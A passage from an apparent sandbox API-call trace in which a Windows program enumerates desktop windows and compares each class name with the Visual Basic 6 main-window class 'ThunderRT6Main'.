nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0118.759] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0118.759] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0118.759] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0118.759] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.759] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0118.759] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0118.759] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0118.759] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0118.759] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.759] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0118.759] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0118.759] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0118.759] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.759] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0118.759] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.759] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.759] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0118.760] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0118.760] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.760] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0118.760] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.760] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.760] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0118.760] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.760] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.760] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0118.760] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.760] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0118.760] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0118.760] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0118.760] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.760] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0118.760] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.760] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.760] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0118.760] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.760] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0118.760] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0118.760] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.760] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.760] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0118.760] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0118.760] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.760] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0118.760] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0118.760] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.760] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0118.760] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.760] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.760] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.760] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0118.760] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.761] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0118.761] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.761] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0118.761] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0118.761] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0118.761] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0118.761] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0118.761] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.761] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0118.761] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0118.761] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.761] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0118.761] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.761] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0118.761] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.761] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0118.761] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0118.761] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.761] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0118.761] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0118.761] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0118.761] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0118.761] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0118.761] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.762] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0118.762] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0118.762] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0118.762] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0118.762] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0118.762] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.762] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0118.762] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0118.762] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0118.762] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.762] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0118.762] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0118.762] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.762] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0118.762] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0118.762] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.762] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0118.762] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.762] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.762] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0118.762] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0118.762] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0118.762] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0118.762] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0118.762] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0118.762] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0118.762] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.762] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0118.762] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0118.762] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.762] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.762] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0118.763] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0118.763] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0118.763] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0118.763] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0118.763] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0118.763] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0118.763] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0118.763] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.763] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0118.763] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x6171210 [0118.763] IMalloc:Free (This=0x7fefe465380, pv=0x6171210) [0121.796] GetCurrentThreadId () returned 0xa30 [0121.796] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0121.796] GetDesktopWindow () returned 0x10010 [0121.796] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0121.796] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0121.796] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0121.796] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.796] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0121.797] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0121.797] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0121.797] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0121.797] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0121.797] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0121.797] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0121.797] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0121.797] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0121.797] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0121.797] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0121.797] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0121.797] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.797] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0121.797] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0121.797] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.797] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0121.797] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0121.797] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0121.797] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0121.797] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.797] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.797] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0121.797] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0121.797] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0121.798] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0121.798] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0121.798] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.798] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0121.798] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.798] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0121.798] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.798] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0121.798] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.798] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0121.798] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.798] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0121.798] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0121.798] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.798] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0121.798] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0121.798] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.798] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0121.798] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0121.798] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0121.798] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0121.798] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0121.798] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0121.798] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0121.798] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0121.798] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0121.798] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0121.798] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0121.798] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0121.798] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0121.798] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.798] 